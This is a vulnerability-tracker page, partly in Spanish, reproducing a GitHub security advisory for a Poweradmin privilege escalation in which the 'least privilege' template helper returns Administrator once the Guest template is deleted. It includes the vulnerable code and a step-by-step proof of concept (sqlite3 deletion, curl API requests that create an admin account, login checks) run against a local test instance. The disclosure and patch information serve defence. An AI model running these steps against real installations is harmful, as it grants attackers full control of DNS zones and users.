llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-JQ2M-GJFR-82CG

Privilege escalation via `getMinimalPermissionTemplateId()`: the "least privilege" default resolves to Administrator

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versiones4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:39 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Si sale un exploit, la subo de categoría. Atento.Ponle una regla en tu SIEM y seguimos.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
22 oct 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
2 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-JQ2M-GJFR-82CG divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`UserManager::getMinimalPermissionTemplateId()` is the helper Poweradmin uses to assign a deliberately low-privilege permission template when a caller is not trusted to choose one. It ranks candidate templates by how many rows they hold in `perm_templ_items`, which is not a valid proxy for privilege level in this schema because `user_is_ueberuser` is expressed as a single row: the bundled `Administrator` template has a `perm_count` of exactly 1, lower than every other populated template. The only reason a pristine installation behaves correctly is that the shipped `Guest` template has zero rows. Independently reproduced end to end against commit `d814d61`: with `Guest` removed, a delegated account holding only `user_add_new` created a new user via the API while omitting `perm_templ`, and the anti-escalation guard whose own docblock states its purpose is preventing exactly this silently assigned the new account `Administrator`, confirmed by then logging in as that account and reaching every superuser-only page. Affects `<= 4.4.0`; unpatched.

Details

Vulnerable ranking query, `UserManager::getMinimalPermissionTemplateId()`:

$query = "SELECT pt.id, pt.name, COUNT(pti.perm_id) as perm_count
          FROM perm_templ pt
          LEFT JOIN perm_templ_items pti ON pt.id = pti.templ_id";
if ($templateType !== null) { $query .= " WHERE pt.template_type = :template_type"; }
$query .= " GROUP BY pt.id, pt.name
          ORDER BY perm_count ASC, pt.name ASC
          LIMIT 1";

Row counts on the shipped schema: `Guest`=0, `Administrator`=1, `Viewer`=2, `Editor`=4, `Zone Manager`=11. The moment `Guest` is absent (deleted as ordinary housekeeping, or removed remotely via a companion CSRF finding), `Administrator` becomes the lowest-count template and this "minimal" helper starts returning the god-mode template.

Why this is exploitable rather than merely wrong. The helper's return value is injected as the permission template precisely for callers who are *not* trusted to choose one, by `PermissionTemplateAssignmentGuard::apply()`:

$canAssignTemplate = $permissionService->userHasPermission($callerId, 'user_is_ueberuser')
    || $permissionService->userHasPermission($callerId, 'user_edit_templ_perm');
if ($canAssignTemplate) { return null; }

if (array_key_exists('perm_templ', $input) && $input['perm_templ'] !== null) {
    return self::REJECT_MESSAGE;                 // explicit choice correctly refused
}
if ($defaultUserTemplateId !== null) {
    $input['perm_templ'] = $defaultUserTemplateId;   // <-- silently injects Administrator
}

The guard's own docblock states: *"Without this gate, any caller with `user_add_new` could create a new ueberuser by supplying `perm_templ` equal to the Administrator template id."* It correctly rejects an explicit `perm_templ`, then hands the caller the Administrator template anyway as the "safe minimal-template default." A holder of `user_add_new` simply omits `perm_templ` from the request.

Affected call sites include `Api/V2/UsersController::createUser()`, the legacy `Api/V1/UsersController`, `AddUserController.php` (with a further hardcoded `?? '1'` Administrator fallback if no template is found at all), and `AddGroupController.php`.

PoC

All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure. The `getMinimalPermissionTemplateId()` ranking checks were run by directly invoking the application source via the PHP CLI against the same self-hosted SQLite database.

Ranking confirmed live, with `Guest` present:

$ sqlite3 -header pa.db "SELECT pt.id, pt.name, COUNT(pti.perm_id) AS perm_count \
    FROM perm_templ pt LEFT JOIN perm_templ_items pti ON pt.id=pti.templ_id \
    WHERE pt.template_type='user' GROUP BY pt.id, pt.name ORDER BY perm_count ASC, pt.name ASC;"
id|name|perm_count
5|Guest|0
1|Administrator|1
20|Delegated User Creator|1
4|Viewer|2
3|Editor|4
2|Zone Manager|11
// poc_minimal2.php
$id = UserManager::getMinimalPermissionTemplateId($pdo, 'user');
// ... fetch and print the resulting template name and whether it holds user_is_ueberuser
$ php poc_minimal2.php
getMinimalPermissionTemplateId('user') => id=5 name=Guest IS_UEBERUSER=no

`Guest` removed:

$ sqlite3 pa.db "DELETE FROM perm_templ WHERE id=5;"
$ php poc_minimal2.php
getMinimalPermissionTemplateId('user') => id=1 name=Administrator IS_UEBERUSER=YES ***SUPERUSER***

End-to-end escalation. A delegated account was created holding only `user_add_new`, confirmed with a live permission query:

$ sqlite3 pa.db "SELECT pi.name FROM users u JOIN perm_templ_items pti ON pti.templ_id=u.perm_templ \
    JOIN perm_items pi ON pi.id=pti.perm_id WHERE u.username='creator';"
user_add_new

Control, explicit `perm_templ` correctly rejected:

$ curl -sS -i -X POST \
    -H 'X-API-Key: pwa_CREATOR9' -H 'Content-Type: application/json' \
    --data '{"username":"explicit_attempt2","password":"PwnedPass1!","fullname":"X","email":"x2@x.com","active":1,"perm_templ":1}' \
    'http://127.0.0.1:8123/api/v2/users'
HTTP/1.0 403 Forbidden
Host: 127.0.0.1:8123
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=h4j4i6gn1iap8i7al6kmpm4shi; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Date: Tue, 28 Jul 2026 10:22:52 GMT
Content-Type: application/json

{"success":false,"data":null,"message":"Setting perm_templ requires user_edit_templ_perm or user_is_ueberuser"}

Bypass, `perm_templ` simply omitted:

$ curl -sS -i -X POST \
    -H 'X-API-Key: pwa_CREATOR9' -H 'Content-Type: application/json' \
    --data '{"username":"pwned_admin2","password":"PwnedPass1!","fullname":"Pwned2","email":"pwned2@x.com","active":1}' \
    'http://127.0.0.1:8123/api/v2/users'
HTTP/1.0 201 Created
Host: 127.0.0.1:8123
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=o75c93a69t8eiulqsgop5s52vk; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Date: Tue, 28 Jul 2026 10:22:57 GMT
Content-Type: application/json

{"success":true,"data":{"user_id":17},"message":"User created successfully","meta":{"timestamp":"2026-07-28 10:22:57"}}
$ sqlite3 -header pa.db "SELECT u.id,u.username,u.perm_templ,pt.name AS template,u.active \
    FROM users u LEFT JOIN perm_templ pt ON pt.id=u.perm_templ WHERE u.username='pwned_admin2';"
id|username|perm_templ|template|active
17|pwned_admin2|1|Administrator|1

Confirmed immediately usable, logged in as the new account:

$ T=$(curl -sS -c pwn2.jar -b pwn2.jar 'http://127.0.0.1:8123/login' \
    | grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b pwn2.jar -c pwn2.jar -X POST 'http://127.0.0.1:8123/login' \
    --data-urlencode "username=pwned_admin2" --data-urlencode "password=PwnedPass1!" \
    --data-urlencode "_token=$T" --data "authenticate=1"
HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:23:05 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=hu13old6isr4cdjr5c179prjef; path=/; HttpOnly; SameSite=Lax
Location: /
Content-type: text/html; charset=UTF-8
$ curl -sS -i -b pwn2.jar -c pwn2.jar 'http://127.0.0.1:8123/users' | head -10
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:23:09 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=f4o9t8j2toohomv84qknv2fe36; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8
$ curl -sS -i -b pwn2.jar -c pwn2.jar 'http://127.0.0.1:8123/permissions/templates' | head -10
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:23:09 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=es3d3jidsdkaaaldmsq1d1hiis; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8
$ curl -sS -i -b pwn2.jar -c pwn2.jar 'http://127.0.0.1:8123/supermasters' | head -10
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:23:09 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=dq6h9q1e0u99837hcj46umnk95; path=/; HttpOnly; SameSite=Lax
Content-type: text/html; charset=utf-8

All three pages return `200 OK` with no permission-denied message in the body, confirmed by grepping each response for the string the application uses for access refusals (`"do not have the permission"`), which is absent from all three.

Impact

Any account holding only `user_add_new` (an ordinary delegation for help-desk or team-lead roles, deliberately *not* `user_edit_templ_perm` and *not* `user_is_ueberuser`) can create a new account without specifying a template and receive a fully active `Administrator` account with a password of its own choosing, immediately usable, over all DNS zones, users, permission templates, API keys, and DNSSEC operations. This finding shares its precondition (the `Guest` template being absent) with a separately reported OIDC/SAML provisioning fail-open, and both are remotely creatable via a companion CSRF finding that lets any logged-in operator's browser delete an unused permission template with a single navigation.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
5.9/ 10Medio
Vector 5.9 (moderada) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 4.1.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
4.1.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas4.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-jq2m-gjfr-82cg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.